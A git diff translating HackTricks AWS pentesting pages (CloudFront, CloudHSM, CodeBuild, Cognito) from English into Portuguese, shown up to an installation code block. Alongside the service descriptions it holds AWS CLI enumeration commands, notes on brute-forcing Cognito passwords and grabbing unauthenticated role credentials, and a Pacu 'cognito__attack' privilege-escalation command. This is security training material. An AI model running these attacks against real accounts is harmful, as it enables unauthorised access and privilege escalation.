a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md @@ -4,20 +4,19 @@ ## CloudFront -CloudFront is AWS's **content delivery network that speeds up distribution** of your static and dynamic content through its worldwide network of edge locations. When you use a request content that you're hosting through Amazon CloudFront, the request is routed to the closest edge location which provides it the lowest latency to deliver the best performance. When **CloudFront access logs** are enabled you can record the request from each user requesting access to your website and distribution. As with S3 access logs, these logs are also **stored on Amazon S3 for durable and persistent storage**. There are no charges for enabling logging itself, however, as the logs are stored in S3 you will be stored for the storage used by S3. +CloudFront é a **rede de entrega de conteúdo da AWS que acelera a distribuição** do seu conteúdo estático e dinâmico através de sua rede mundial de locais de borda. Quando você usa um conteúdo de solicitação que está hospedando através do Amazon CloudFront, a solicitação é roteada para o local de borda mais próximo, o que proporciona a menor latência para oferecer o melhor desempenho. Quando os **logs de acesso do CloudFront** estão habilitados, você pode registrar a solicitação de cada usuário que solicita acesso ao seu site e distribuição. Assim como os logs de acesso do S3, esses logs também são **armazenados no Amazon S3 para armazenamento durável e persistente**. Não há cobranças por habilitar o registro em si, no entanto, como os logs são armazenados no S3, você será cobrado pelo armazenamento utilizado pelo S3. -The log files capture data over a period of time and depending on the amount of requests that are received by Amazon CloudFront for that distribution will depend on the amount of log fils that are generated. It's important to know that these log files are not created or written to on S3. S3 is simply where they are delivered to once the log file is full. **Amazon CloudFront retains these logs until they are ready to be delivered to S3**. Again, depending on the size of these log files this delivery can take **between one and 24 hours**. +Os arquivos de log capturam dados ao longo de um período de tempo e, dependendo da quantidade de solicitações recebidas pelo Amazon CloudFront para essa distribuição, dependerá da quantidade de arquivos de log que são gerados. É importante saber que esses arquivos de log não são criados ou escritos no S3. O S3 é simplesmente onde eles são entregues uma vez que o arquivo de log está cheio. **O Amazon CloudFront retém esses logs até que estejam prontos para serem entregues ao S3**. Novamente, dependendo do tamanho desses arquivos de log, essa entrega pode levar **entre uma e 24 horas**. -**By default cookie logging is disabled** but you can enable it. +**Por padrão, o registro de cookies está desativado**, mas você pode habilitá-lo. ### Functions -You can create functions in CloudFront. These functions will have its **endpoint in cloudfront** defined and will run a declared **NodeJS code**. This code will run inside a **sandbox** in a machine running under an AWS managed machine (you would need a sandbox bypass to manage to escape to the underlaying OS). +Você pode criar funções no CloudFront. Essas funções terão seu **endpoint no cloudfront** definido e executarão um **código NodeJS** declarado. Esse código será executado dentro de um **sandbox** em uma máquina gerenciada pela AWS (você precisaria de um bypass de sandbox para conseguir escapar para o sistema operacional subjacente). -As the functions aren't run in the users AWS account. no IAM role is attached so no direct privesc is possible abusing this feature. +Como as funções não são executadas na conta AWS dos usuários, nenhuma função IAM está anexada, portanto, nenhum privilégio de escalonamento direto é possível abusando dessa funcionalidade. ### Enumeration - ```bash aws cloudfront list-distributions aws cloudfront get-distribution --id # Just get 1 @@ -28,21 +27,16 @@ aws cloudfront get-function --name TestFunction function_code.js aws cloudfront list-distributions | jq ".DistributionList.Items[] | .Id, .Origins.Items[].Id, .Origins.Items[].DomainName, .AliasICPRecordals[].CNAME" ``` - -## Unauthenticated Access +## Acesso Não Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md {{#endref}} -## Post Exploitation +## Pós Exploração {{#ref}} ../aws-post-exploitation/aws-cloudfront-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md index 55216fa7e..d0a478716 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md @@ -2,70 +2,64 @@ {{#include ../../../banners/hacktricks-training.md}} -## HSM - Hardware Security Module +## HSM - Módulo de Segurança de Hardware -Cloud HSM is a FIPS 140 level two validated **hardware device** for secure cryptographic key storage (note that CloudHSM is a hardware appliance, it is not a virtualized service). It is a SafeNetLuna 7000 appliance with 5.3.13 preloaded. There are two firmware versions and which one you pick is really based on your exact needs. One is for FIPS 140-2 compliance and there was a newer version that can be used. +Cloud HSM é um **dispositivo de hardware** validado no nível dois do FIPS 140 para armazenamento seguro de chaves criptográficas (note que CloudHSM é um appliance de hardware, não é um serviço virtualizado). É um appliance SafeNetLuna 7000 com 5.3.13 pré-carregado. Existem duas versões de firmware e a escolha de qual usar depende realmente das suas necessidades exatas. Uma é para conformidade com FIPS 140-2 e há uma versão mais nova que pode ser utilizada. -The unusual feature of CloudHSM is that it is a physical device, and thus it is **not shared with other customers**, or as it is commonly termed, multi-tenant. It is dedicated single tenant appliance exclusively made available to your workloads +A característica incomum do CloudHSM é que é um dispositivo físico e, portanto, **não é compartilhado com outros clientes**, ou como é comumente chamado, multi-tenant. É um appliance dedicado de único inquilino exclusivamente disponível para suas cargas de trabalho. -Typically, a device is available within 15 minutes assuming there is capacity, but in some zones there could not be. +Normalmente, um dispositivo está disponível em 15 minutos, assumindo que há capacidade, mas em algumas zonas isso pode não ocorrer. -Since this is a physical device dedicated to you, **the keys are stored on the device**. Keys need to either be **replicated to another device**, backed up to offline storage, or exported to a standby appliance. **This device is not backed** by S3 or any other service at AWS like KMS. +Como este é um dispositivo físico dedicado a você, **as chaves são armazenadas no dispositivo**. As chaves precisam ser **replicadas para outro dispositivo**, feitas backup em armazenamento offline ou exportadas para um appliance de espera. **Este dispositivo não é respaldado** pelo S3 ou qualquer outro serviço da AWS como KMS. -In **CloudHSM**, you have to **scale the service yourself**. You have to provision enough CloudHSM devices to handle whatever your encryption needs are based on the encryption algorithms you have chosen to implement for your solution.\ -Key Management Service scaling is performed by AWS and automatically scales on demand, so as your use grows, so might the number of CloudHSM appliances that are required. Keep this in mind as you scale your solution and if your solution has auto-scaling, make sure your maximum scale is accounted for with enough CloudHSM appliances to service the solution. +No **CloudHSM**, você tem que **escalar o serviço você mesmo**. Você precisa provisionar dispositivos CloudHSM suficientes para lidar com suas necessidades de criptografia com base nos algoritmos de criptografia que você escolheu implementar para sua solução.\ +A escalabilidade do Key Management Service é realizada pela AWS e escala automaticamente sob demanda, então, à medida que seu uso cresce, o número de appliances CloudHSM necessários também pode aumentar. Tenha isso em mente ao escalar sua solução e, se sua solução tiver auto-escalabilidade, certifique-se de que sua escala máxima esteja contabilizada com dispositivos CloudHSM suficientes para atender à solução. -Just like scaling, **performance is up to you with CloudHSM**. Performance varies based on which encryption algorithm is used and on how often you need to access or retrieve the keys to encrypt the data. Key management service performance is handled by Amazon and automatically scales as demand requires it. CloudHSM's performance is achieved by adding more appliances and if you need more performance you either add devices or alter the encryption method to the algorithm that is faster. +Assim como a escalabilidade, **o desempenho depende de você com o CloudHSM**. O desempenho varia com base no algoritmo de criptografia utilizado e na frequência com que você precisa acessar ou recuperar as chaves para criptografar os dados. O desempenho do serviço de gerenciamento de chaves é tratado pela Amazon e escala automaticamente conforme a demanda. O desempenho do CloudHSM é alcançado adicionando mais appliances e, se você precisar de mais desempenho, você adiciona dispositivos ou altera o método de criptografia para o algoritmo que é mais rápido. -If your solution is **multi-region**, you should add several **CloudHSM appliances in the second region and work out the cross-region connectivity with a private VPN connection** or some method to ensure the traffic is always protected between the appliance at every layer of the connection. If you have a multi-region solution you need to think about how to **replicate keys and set up additional CloudHSM devices in the regions where you operate**. You can very quickly get into a scenario where you have six or eight devices spread across multiple regions, enabling full redundancy of your encryption keys. +Se sua solução for **multi-região**, você deve adicionar vários **appliances CloudHSM na segunda região e resolver a conectividade entre regiões com uma conexão VPN privada** ou algum método para garantir que o tráfego esteja sempre protegido entre o appliance em cada camada da conexão. Se você tiver uma solução multi-região, precisa pensar em como **replicar chaves e configurar dispositivos CloudHSM adicionais nas regiões onde você opera**. Você pode rapidamente entrar em um cenário onde tem seis ou oito dispositivos espalhados por várias regiões, permitindo total redundância de suas chaves de criptografia. -**CloudHSM** is an enterprise class service for secured key storage and can be used as a **root of trust for an enterprise**. It can store private keys in PKI and certificate authority keys in X509 implementations. In addition to symmetric keys used in symmetric algorithms such as AES, **KMS stores and physically protects symmetric keys only (cannot act as a certificate authority)**, so if you need to store PKI and CA keys a CloudHSM or two or three could be your solution. +**CloudHSM** é um serviço de classe empresarial para armazenamento seguro de chaves e pode ser usado como uma **raiz de confiança para uma empresa**. Ele pode armazenar chaves privadas em PKI e chaves de autoridade certificadora em implementações X509. Além das chaves simétricas usadas em algoritmos simétricos como AES, **KMS armazena e protege fisicamente apenas chaves simétricas (não pode atuar como uma autoridade certificadora)**, então, se você precisar armazenar chaves PKI e CA, um ou dois ou três CloudHSM podem ser sua solução. -**CloudHSM is considerably more expensive than Key Management Service**. CloudHSM is a hardware appliance so you have fix costs to provision the CloudHSM device, then an hourly cost to run the appliance. The cost is multiplied by as many CloudHSM appliances that are required to achieve your specific requirements.\ -Additionally, cross consideration must be made in the purchase of third party software such as SafeNet ProtectV software suites and integration time and effort. Key Management Service is a usage based and depends on the number of keys you have and the input and output operations. As key management provides seamless integration with many AWS services, integration costs should be significantly lower. Costs should be considered secondary factor in encryption solutions. Encryption is typically used for security and compliance. +**CloudHSM é consideravelmente mais caro que o Key Management Service**. CloudHSM é um appliance de hardware, então você tem custos fixos para provisionar o dispositivo CloudHSM, além de um custo por hora para operar o appliance. O custo é multiplicado pelo número de appliances CloudHSM necessários para atender aos seus requisitos específicos.\ +Além disso, deve-se considerar a compra de software de terceiros, como suítes de software SafeNet ProtectV e o tempo e esforço de integração. O Key Management Service é baseado em uso e depende do número de chaves que você possui e das operações de entrada e saída. Como o gerenciamento de chaves fornece integração perfeita com muitos serviços da AWS, os custos de integração devem ser significativamente menores. Os custos devem ser considerados um fator secundário em soluções de criptografia. A criptografia é tipicamente usada para segurança e conformidade. -**With CloudHSM only you have access to the keys** and without going into too much detail, with CloudHSM you manage your own keys. **With KMS, you and Amazon co-manage your keys**. AWS does have many policy safeguards against abuse and **still cannot access your keys in either solution**. The main distinction is compliance as it pertains to key ownership and management, and with CloudHSM, this is a hardware appliance that you manage and maintain with exclusive access to you and only you. +**Com o CloudHSM, apenas você tem acesso às chaves** e, sem entrar em muitos detalhes, com o CloudHSM você gerencia suas próprias chaves. **Com o KMS, você e a Amazon co-gerenciam suas chaves**. A AWS possui muitas salvaguardas de políticas contra abusos e **ainda não pode acessar suas chaves em nenhuma das soluções**. A principal distinção é a conformidade em relação à propriedade e gerenciamento de chaves, e com o CloudHSM, este é um appliance de hardware que você gerencia e mantém com acesso exclusivo a você e somente você. -### CloudHSM Suggestions +### Sugestões para CloudHSM -1. Always deploy CloudHSM in an **HA setup** with at least two appliances in **separate availability zones**, and if possible, deploy a third either on premise or in another region at AWS. -2. Be careful when **initializing** a **CloudHSM**. This action **will destroy the keys**, so either have another copy of the keys or be absolutely sure you do not and never, ever will need these keys to decrypt any data. -3. CloudHSM only **supports certain versions of firmware** and software. Before performing any update, make sure the firmware and or software is supported by AWS. You can always contact AWS support to verify if the upgrade guide is unclear. -4. The **network configuration should never be changed.** Remember, it's in a AWS data center and AWS is monitoring base hardware for you. This means that if the hardware fails, they will replace it for you, but only if they know it failed. -5. The **SysLog forward should not be removed or changed**. You can always **add** a SysLog forwarder to direct the logs to your own collection tool. -6. The **SNMP** configuration has the same basic restrictions as the network and SysLog folder. This **should not be changed or removed**. An **additional** SNMP configuration is fine, just make sure you do not change the one that is already on the appliance. -7. Another interesting best practice from AWS is **not to change the NTP configuration**. It is not clear what would happen if you did, so keep in mind that if you don't use the same NTP configuration for the rest of your solution then you could have two time sources. Just be aware of this and know that the CloudHSM has to stay with the existing NTP source. +1. Sempre implemente o CloudHSM em uma **configuração HA** com pelo menos dois appliances em **zonas de disponibilidade separadas**, e se possível, implemente um terceiro, seja no local ou em outra região da AWS. +2. Tenha cuidado ao **inicializar** um **CloudHSM**. Esta ação **destruirá as chaves**, então tenha outra cópia das chaves ou tenha certeza absoluta de que você não precisa e nunca precisará dessas chaves para descriptografar qualquer dado. +3. O CloudHSM apenas **suporta certas versões de firmware** e software. Antes de realizar qualquer atualização, certifique-se de que o firmware e/ou software é suportado pela AWS. Você pode sempre entrar em contato com o suporte da AWS para verificar se o guia de atualização não está claro. +4. A **configuração de rede nunca deve ser alterada.** Lembre-se, está em um data center da AWS e a AWS está monitorando o hardware base para você. Isso significa que, se o hardware falhar, eles o substituirão para você, mas apenas se souberem que falhou. +5. O **encaminhamento SysLog não deve ser removido ou alterado**. Você pode sempre **adicionar** um encaminhador SysLog para direcionar os logs para sua própria ferramenta de coleta. +6. A configuração de **SNMP** tem as mesmas restrições básicas que a rede e a pasta SysLog. Isso **não deve ser alterado ou removido**. Uma configuração **adicional** de SNMP é aceitável, apenas certifique-se de não alterar a que já está no appliance. +7. Outra boa prática interessante da AWS é **não alterar a configuração NTP**. Não está claro o que aconteceria se você o fizesse, então tenha em mente que, se você não usar a mesma configuração NTP para o resto de sua solução, poderá ter duas fontes de tempo. Apenas esteja ciente disso e saiba que o CloudHSM deve permanecer com a fonte NTP existente. -The initial launch charge for CloudHSM is $5,000 to allocate the hardware appliance dedicated for your use, then there is an hourly charge associated with running CloudHSM that is currently at $1.88 per hour of operation, or approximately $1,373 per month. +A cobrança inicial para o CloudHSM é de $5,000 para alocar o appliance de hardware dedicado para seu uso, depois há uma cobrança horária associada à execução do CloudHSM que atualmente é de $1.88 por hora de operação, ou aproximadamente $1,373 por mês. -The most common reason to use CloudHSM is compliance standards that you must meet for regulatory reasons. **KMS does not offer data support for asymmetric keys. CloudHSM does let you store asymmetric keys securely**. +A razão mais comum para usar o CloudHSM são os padrões de conformidade que você deve atender por razões regulatórias. **O KMS não oferece suporte a dados para chaves assimétricas. O CloudHSM permite que você armazene chaves assimétricas com segurança**. -The **public key is installed on the HSM appliance during provisioning** so you can access the CloudHSM instance via SSH. +A **chave pública é instalada no appliance HSM durante o provisionamento** para que você possa acessar a instância CloudHSM via SSH. -### What is a Hardware Security Module +### O que é um Módulo de Segurança de Hardware -A hardware security module (HSM) is a dedicated cryptographic device that is used to generate, store, and manage cryptographic keys and protect sensitive data. It is designed to provide a high level of security by physically and electronically isolating the cryptographic functions from the rest of the system. +Um módulo de segurança de hardware (HSM) é um dispositivo criptográfico dedicado que é usado para gerar, armazenar e gerenciar chaves criptográficas e proteger dados sensíveis. Ele é projetado para fornecer um alto nível de segurança, isolando fisicamente e eletronicamente as funções criptográficas do restante do sistema. -The way an HSM works can vary depending on the specific model and manufacturer, but generally, the following steps occur: +A forma como um HSM funciona pode variar dependendo do modelo e fabricante específicos, mas, geralmente, os seguintes passos ocorrem: -1. **Key generation**: The HSM generates a random cryptographic key using a secure random number generator. -2. **Key storage**: The key is **stored securely within the HSM, where it can only be accessed by authorized users or processes**. -3. **Key management**: The HSM provides a range of key management functions, including key rotation, backup, and revocation. -4. **Cryptographic operations**: The HSM performs a range of cryptographic operations, including encryption, decryption, digital signature, and key exchange. These operations are **performed within the secure environment of the HSM**, which protects against unauthorized access and tampering. -5. **Audit logging**: The HSM logs all cryptographic operations and access attempts, which can be used for compliance and security auditing purposes. +1. **Geração de chaves**: O HSM gera uma chave criptográfica aleatória usando um gerador de números aleatórios seguro. +2. **Armazenamento de chaves**: A chave é **armazenada com segurança dentro do HSM, onde só pode ser acessada por usuários ou processos autorizados**. +3. **Gerenciamento de chaves**: O HSM fornece uma gama de funções de gerenciamento de chaves, incluindo rotação de chaves, backup e revogação. +4. **Operações criptográficas**: O HSM realiza uma variedade de operações criptográficas, incluindo criptografia, descriptografia, assinatura digital e troca de chaves. Essas operações são **realizadas dentro do ambiente seguro do HSM**, que protege contra acesso não autorizado e adulteração. +5. **Registro de auditoria**: O HSM registra todas as operações criptográficas e tentativas de acesso, que podem ser usadas para fins de conformidade e auditoria de segurança. -HSMs can be used for a wide range of applications, including secure online transactions, digital certificates, secure communications, and data encryption. They are often used in industries that require a high level of security, such as finance, healthcare, and government. +Os HSMs podem ser usados para uma ampla gama de aplicações, incluindo transações online seguras, certificados digitais, comunicações seguras e criptografia de dados. Eles são frequentemente usados em indústrias que exigem um alto nível de segurança, como finanças, saúde e governo. -Overall, the high level of security provided by HSMs makes it **very difficult to extract raw keys from them, and attempting to do so is often considered a breach of security**. However, there may be **certain scenarios** where a **raw key could be extracted** by authorized personnel for specific purposes, such as in the case of a key recovery procedure. - -### Enumeration +No geral, o alto nível de segurança fornecido pelos HSMs torna **muito difícil extrair chaves brutas deles, e tentar fazê-lo é frequentemente considerado uma violação de segurança**. No entanto, pode haver **certos cenários** onde uma **chave bruta poderia ser extraída** por pessoal autorizado para fins específicos, como no caso de um procedimento de recuperação de chaves. +### Enumeração ``` TODO ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md index bd54cd791..fba78b818 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md @@ -4,30 +4,29 @@ ## CodeBuild -AWS **CodeBuild** is recognized as a **fully managed continuous integration service**. The primary purpose of this service is to automate the sequence of compiling source code, executing tests, and packaging the software for deployment purposes. The predominant benefit offered by CodeBuild lies in its ability to alleviate the need for users to provision, manage, and scale their build servers. This convenience is because the service itself manages these tasks. Essential features of AWS CodeBuild encompass: +AWS **CodeBuild** é reconhecido como um **serviço de integração contínua totalmente gerenciado**. O principal objetivo deste serviço é automatizar a sequência de compilação do código-fonte, execução de testes e empacotamento do software para fins de implantação. O benefício predominante oferecido pelo CodeBuild reside em sua capacidade de aliviar a necessidade de os usuários provisionarem, gerenciarem e escalarem seus servidores de build. Essa conveniência se deve ao fato de que o próprio serviço gerencia essas tarefas. As características essenciais do AWS CodeBuild incluem: -1. **Managed Service**: CodeBuild manages and scales the build servers, freeing users from server maintenance. -2. **Continuous Integration**: It integrates with the development and deployment workflow, automating the build and test phases of the software release process. -3. **Package Production**: After the build and test phases, it prepares the software packages, making them ready for deployment. +1. **Serviço Gerenciado**: O CodeBuild gerencia e escala os servidores de build, liberando os usuários da manutenção do servidor. +2. **Integração Contínua**: Ele se integra ao fluxo de trabalho de desenvolvimento e implantação, automatizando as fases de build e teste do processo de liberação de software. +3. **Produção de Pacotes**: Após as fases de build e teste, ele prepara os pacotes de software, tornando-os prontos para implantação. -AWS CodeBuild seamlessly integrates with other AWS services, enhancing the CI/CD (Continuous Integration/Continuous Deployment) pipeline's efficiency and reliability. +O AWS CodeBuild se integra perfeitamente com outros serviços da AWS, melhorando a eficiência e a confiabilidade do pipeline CI/CD (Integração Contínua/Implantação Contínua). -### **Github/Gitlab/Bitbucket Credentials** +### **Credenciais do Github/Gitlab/Bitbucket** -#### **Default source credentials** +#### **Credenciais de fonte padrão** -This is the legacy option where it's possible to configure some **access** (like a Github token or app) that will be **shared across codebuild projects** so all the projects can use this configured set of credentials. +Esta é a opção legada onde é possível configurar algum **acesso** (como um token do Github ou aplicativo) que será **compartilhado entre os projetos do codebuild**, para que todos os projetos possam usar esse conjunto de credenciais configurado. -The stored credentials (tokens, passwords...) are **managed by codebuild** and there isn't any public way to retrieve them from AWS APIs. +As credenciais armazenadas (tokens, senhas...) são **gerenciadas pelo codebuild** e não há nenhuma maneira pública de recuperá-las das APIs da AWS. -#### Custom source credential +#### Credencial de fonte personalizada -Depending on the repository platform (Github, Gitlab and Bitbucket) different options are provided. But in general, any option that requires to **store a token or a password will store it as a secret in the secrets manager**. +Dependendo da plataforma do repositório (Github, Gitlab e Bitbucket), diferentes opções são fornecidas. Mas, em geral, qualquer opção que requer **armazenar um token ou uma senha será armazenada como um segredo no gerenciador de segredos**. -This allows **different codebuild projects to use different configured accesses** to the providers instead of just using the configured default one. - -### Enumeration +Isso permite que **diferentes projetos do codebuild usem diferentes acessos configurados** aos provedores, em vez de apenas usar o padrão configurado. +### Enumeração ```bash # List external repo creds (such as github tokens) ## It doesn't return the token but just the ARN where it's located @@ -48,33 +47,28 @@ aws codebuild list-build-batches-for-project --project-name aws codebuild list-reports aws codebuild describe-test-cases --report-arn ``` - ### Privesc -In the following page, you can check how to **abuse codebuild permissions to escalate privileges**: +Na página a seguir, você pode verificar como **abusar das permissões do codebuild para escalar privilégios**: {{#ref}} ../aws-privilege-escalation/aws-codebuild-privesc.md {{#endref}} -### Post Exploitation +### Pós Exploração {{#ref}} ../aws-post-exploitation/aws-codebuild-post-exploitation/ {{#endref}} -### Unauthenticated Access +### Acesso Não Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md {{#endref}} -## References +## Referências - [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md index c870c1791..bf0cc125d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md @@ -4,16 +4,16 @@ ## Cognito -Amazon Cognito is utilized for **authentication, authorization, and user management** in web and mobile applications. It allows users the flexibility to sign in either directly using a **user name and password** or indirectly through a **third party**, including Facebook, Amazon, Google, or Apple. +O Amazon Cognito é utilizado para **autenticação, autorização e gerenciamento de usuários** em aplicações web e móveis. Ele permite que os usuários tenham a flexibilidade de fazer login diretamente usando um **nome de usuário e senha** ou indiretamente através de um **terceiro**, incluindo Facebook, Amazon, Google ou Apple. -Central to Amazon Cognito are two primary components: +Central ao Amazon Cognito estão dois componentes principais: -1. **User Pools**: These are directories designed for your app users, offering **sign-up and sign-in functionalities**. -2. **Identity Pools**: These pools are instrumental in **authorizing users to access different AWS services**. They are not directly involved in the sign-in or sign-up process but are crucial for resource access post-authentication. +1. **User Pools**: Estes são diretórios projetados para os usuários do seu aplicativo, oferecendo **funcionalidades de cadastro e login**. +2. **Identity Pools**: Esses pools são instrumentais na **autorização de usuários para acessar diferentes serviços AWS**. Eles não estão diretamente envolvidos no processo de login ou cadastro, mas são cruciais para o acesso a recursos após a autenticação. ### **User pools** -To learn what is a **Cognito User Pool check**: +Para aprender o que é um **Cognito User Pool check**: {{#ref}} cognito-user-pools.md @@ -21,14 +21,13 @@ cognito-user-pools.md ### **Identity pools** -The learn what is a **Cognito Identity Pool check**: +Para aprender o que é um **Cognito Identity Pool check**: {{#ref}} cognito-identity-pools.md {{#endref}} ## Enumeration - ```bash # List Identity Pools aws cognito-identity list-identity-pools --max-results 60 @@ -72,14 +71,13 @@ aws cognito-idp get-user-pool-mfa-config --user-pool-id ## Get risk configuration aws cognito-idp describe-risk-configuration --user-pool-id ``` +### Identity Pools - Enumeração Não Autenticada -### Identity Pools - Unauthenticated Enumeration +Apenas **saber o ID do Pool de Identidade** pode permitir que você **obtenha credenciais do papel associado a usuários não autenticados** (se houver). [**Veja como aqui**](cognito-identity-pools.md#accessing-iam-roles). -Just **knowing the Identity Pool ID** you might be able **get credentials of the role associated to unauthenticated** users (if any). [**Check how here**](cognito-identity-pools.md#accessing-iam-roles). +### User Pools - Enumeração Não Autenticada -### User Pools - Unauthenticated Enumeration - -Even if you **don't know a valid username** inside Cognito, you might be able to **enumerate** valid **usernames**, **BF** the **passwords** of even **register a new user** just **knowing the App client ID** (which is usually found in source code). [**Check how here**](cognito-user-pools.md#registration)**.** +Mesmo que você **não saiba um nome de usuário válido** dentro do Cognito, pode ser possível **enumerar** nomes de **usuários válidos**, **BF** as **senhas** ou até mesmo **registrar um novo usuário** apenas **sabendo o ID do cliente do App** (que geralmente é encontrado no código-fonte). [**Veja como aqui**](cognito-user-pools.md#registration)**.** ## Privesc @@ -87,20 +85,16 @@ Even if you **don't know a valid username** inside Cognito, you might be able to ../../aws-privilege-escalation/aws-cognito-privesc.md {{#endref}} -## Unauthenticated Access +## Acesso Não Autenticado {{#ref}} ../../aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md {{#endref}} -## Persistence +## Persistência {{#ref}} ../../aws-persistence/aws-cognito-persistence.md {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 024c7ea91..adb31ac86 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -2,16 +2,15 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -Identity pools serve a crucial role by enabling your users to **acquire temporary credentials**. These credentials are essential for accessing various AWS services, including but not limited to Amazon S3 and DynamoDB. A notable feature of identity pools is their support for both anonymous guest users and a range of identity providers for user authentication. The supported identity providers include: +Os pools de identidade desempenham um papel crucial ao permitir que seus usuários **adquiram credenciais temporárias**. Essas credenciais são essenciais para acessar vários serviços da AWS, incluindo, mas não se limitando a Amazon S3 e DynamoDB. Um recurso notável dos pools de identidade é seu suporte tanto para usuários convidados anônimos quanto para uma variedade de provedores de identidade para autenticação de usuários. Os provedores de identidade suportados incluem: - Amazon Cognito user pools -- Social sign-in options such as Facebook, Google, Login with Amazon, and Sign in with Apple -- Providers compliant with OpenID Connect (OIDC) -- SAML (Security Assertion Markup Language) identity providers -- Developer authenticated identities - +- Opções de login social, como Facebook, Google, Login com Amazon e Sign in with Apple +- Provedores compatíveis com OpenID Connect (OIDC) +- Provedores de identidade SAML (Security Assertion Markup Language) +- Identidades autenticadas por desenvolvedores ```python # Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows: import boto3 @@ -24,74 +23,64 @@ identity_pool_id = 'your-identity-pool-id' # Add an identity provider to the identity pool response = client.set_identity_pool_roles( - IdentityPoolId=identity_pool_id, - Roles={ - 'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole', - 'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole', - } +IdentityPoolId=identity_pool_id, +Roles={ +'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole', +'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole', +} ) # Print the response from AWS print(response) ``` - ### Cognito Sync -To generate Identity Pool sessions, you first need to **generate and Identity ID**. This Identity ID is the **identification of the session of that user**. These identifications can have up to 20 datasets that can store up to 1MB of key-value pairs. +Para gerar sessões de Identity Pool, você primeiro precisa **gerar um Identity ID**. Este Identity ID é a **identificação da sessão daquele usuário**. Essas identificações podem ter até 20 conjuntos de dados que podem armazenar até 1MB de pares chave-valor. -This is **useful to keep information of a user** (who will be always using the same Identity ID). +Isso é **útil para manter informações de um usuário** (que sempre usará o mesmo Identity ID). -Moreover, the service **cognito-sync** is the service that allow to **manage and syncronize this information** (in the datasets, sending info in streams and SNSs msgs...). +Além disso, o serviço **cognito-sync** é o serviço que permite **gerenciar e sincronizar essas informações** (nos conjuntos de dados, enviando informações em streams e mensagens SNS...). ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), o framework de exploração da AWS, agora inclui os módulos "cognito\_\_enum" e "cognito\_\_attack" que automatizam a enumeração de todos os ativos do Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e escalonamento de privilégios com base em atributos personalizados modificáveis, credenciais de pool de identidade utilizáveis, funções assumíveis em tokens de id, etc. -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +Para uma descrição das funções dos módulos, veja a parte 2 do [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instruções de instalação, veja a página principal do [Pacu](https://github.com/RhinoSecurityLabs/pacu). #### Usage -Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: - +Exemplo de uso do cognito\_\_attack para tentar a criação de usuários e todos os vetores de privesc contra um determinado pool de identidade e cliente de pool de usuários: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +Exemplo de uso do cognito\_\_enum para coletar todos os grupos de usuários, clientes de grupos de usuários, grupos de identidade, usuários, etc. visíveis na conta AWS atual: ```bash Pacu (new:test) > run cognito__enum ``` +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) é uma ferramenta CLI em python que implementa diferentes ataques ao Cognito, incluindo criação indesejada de contas e escalonamento de pools de identidade. -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and identity pool escalation. - -#### Installation - +#### Instalação ```bash 